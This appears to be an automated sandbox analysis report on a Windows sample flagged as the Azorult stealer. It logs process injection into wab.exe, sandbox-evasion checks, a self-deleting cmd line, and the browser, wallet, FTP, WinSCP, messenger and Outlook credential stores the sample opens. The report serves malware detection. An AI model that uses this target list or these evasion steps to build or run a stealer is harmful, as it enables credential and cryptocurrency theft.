Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Program Files (x86)\Windows Mail\wab.exe

API/Special instruction interceptor: Address: 76BD885

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7513			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2133			Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\softokn3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\freebl3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\nssdbm3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\nss3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2360

Thread sleep time: -4611686018427385s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\SN890156.exe	Code function: 0_2_00406362 FindFirstFileW,FindClose,	0_2_00406362
Source: C:\Users\user\Desktop\SN890156.exe	Code function: 0_2_00405810 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405810
Source: C:\Users\user\Desktop\SN890156.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: wab.exe, 00000005.00000002.2666360366.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: wab.exe, 00000005.00000002.2666360366.0000000007D7D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW7_U
Source: wab.exe, 00000005.00000002.2666360366.0000000007D7D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wab.exe, 00000005.00000002.2666360366.0000000007DD4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42/

Source: C:\Users\user\Desktop\SN890156.exe	API call chain: ExitProcess graph end node			graph_0-3352
Source: C:\Users\user\Desktop\SN890156.exe	API call chain: ExitProcess graph end node			graph_0-3357

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 4460000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2F9FA34			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SN890156.exe

Code function: 0_2_00406041 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406041

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Azorult

Source: Yara match	File source: 00000005.00000002.2677701266.0000000023EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2678292053.0000000024BD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wab.exe PID: 6208, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: wab.exe, 00000005.00000002.2678292053.0000000024BD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: wab.exe, 00000005.00000002.2678292053.0000000024BD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: powershell.exe, 00000002.00000002.2498216788.0000000007E10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files (x86)\Windows Mail\wab.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Program Files (x86)\Windows Mail\wab.exe

File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\ElectrumG\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-btcp\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Exodus Eden\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

